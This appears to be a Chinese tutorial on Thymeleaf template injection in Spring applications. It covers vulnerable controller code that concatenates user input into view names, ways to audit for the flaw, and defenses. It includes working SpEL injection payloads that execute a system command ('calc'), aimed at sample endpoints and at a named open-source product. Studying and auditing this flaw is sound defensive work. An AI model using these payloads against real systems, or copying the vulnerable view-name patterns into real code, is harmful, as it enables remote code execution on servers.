Thymeleaf模板注入学习
字数 1148 2025-08-22 12:23:41
Thymeleaf模板注入漏洞分析与防御指南
一、漏洞概述
Thymeleaf是一种流行的Java模板引擎,在3.0.0-3.0.11版本中存在模板注入漏洞。虽然3.0.12-3.0.15版本进行了修复,但仍存在绕过可能。
漏洞条件
- 返回的视图名称或视图内容部分可控
- 返回内容未被以下方式处理:
@RestController或@ResponseBody注解修饰- 使用
HttpServletResponse直接输出 - 使用
redirect重定向 - 使用
forward转发
- 当返回类型为
void时,Spring Boot会从URL中获取视图名,若路径可控也存在风险
二、环境搭建
依赖配置
Spring Boot与Thymeleaf集成良好,通过spring-boot-starter-thymeleaf引入对应版本。例如:
- Spring Boot 2.2.0.RELEASE → Thymeleaf 3.0.11.RELEASE
示例Controller
@Controller
public class ExampleController {
@GetMapping("/lang")
public String lang(@RequestParam String rtype) {
return "index-" + rtype; // 视图名拼接用户输入
}
}
三、漏洞审计方法
1. 审计方法
- 逐个Controller检查:耗时但全面
- 全局搜索:搜索
"::"(两个引号)等关键模式
2. 常见漏洞模式
-
模式1:直接拼接用户输入作为视图名
return "view-" + userInput; -
模式2:返回类型为void,从URL获取视图名
@GetMapping("/path/{path}") public void handlePath(@PathVariable String path) { // 无返回,视图名取自URL路径 }
3. 类型转换问题
当参数类型为基本类型(如int)时,模板会进行类型转换,可能导致错误:
@GetMapping("/lang3")
public String lang3(@RequestParam int rtype) {
return "index-" + rtype; // 类型转换可能导致问题
}
四、漏洞利用
1. 基本利用
对于视图名拼接的接口:
/lang1?rtype=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
注意需要对特殊字符进行URL编码。
2. 无返回接口利用
对于返回类型为void的接口:
/path/__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x
五、实战案例(以若依v4.6.0为例)
1. 版本确认
- 通过
External Libraries查看Thymeleaf版本 - 或在
spring-boot-dependencies-2.2.12.RELEASE.pom中查找
2. 漏洞定位
全局搜索"::"模式,发现多处潜在漏洞点,如:
@GetMapping("/example")
public String example(@RequestParam String fragment,
@RequestParam String taskName,
Map<String, Object> mmap) {
mmap.put("fragment", fragment);
return "example/" + taskName;
}
3. 漏洞验证
构造恶意请求:
/example?taskName=__${T(java.lang.Runtime).getRuntime().exec("calc")}__::.x&fragment=test
六、防御措施
- 升级Thymeleaf:使用3.0.12及以上版本
- 输入验证:对用户输入进行严格过滤
- 避免直接拼接:不要将用户输入直接拼接到视图名中
- 使用安全注解:对不需要模板渲染的接口使用
@ResponseBody - 白名单验证:对视图名进行白名单校验
七、总结
Thymeleaf模板注入漏洞主要源于视图名的不可控拼接,特别是在特定版本中更为严重。开发人员应避免直接将用户输入用于视图解析,并保持框架版本更新。审计时应重点关注视图名的生成逻辑和用户输入的传递路径。
通过本文的分析,读者应能够理解Thymeleaf模板注入的原理、审计方法和防御策略,从而在实际开发和安全审计中有效识别和防范此类漏洞。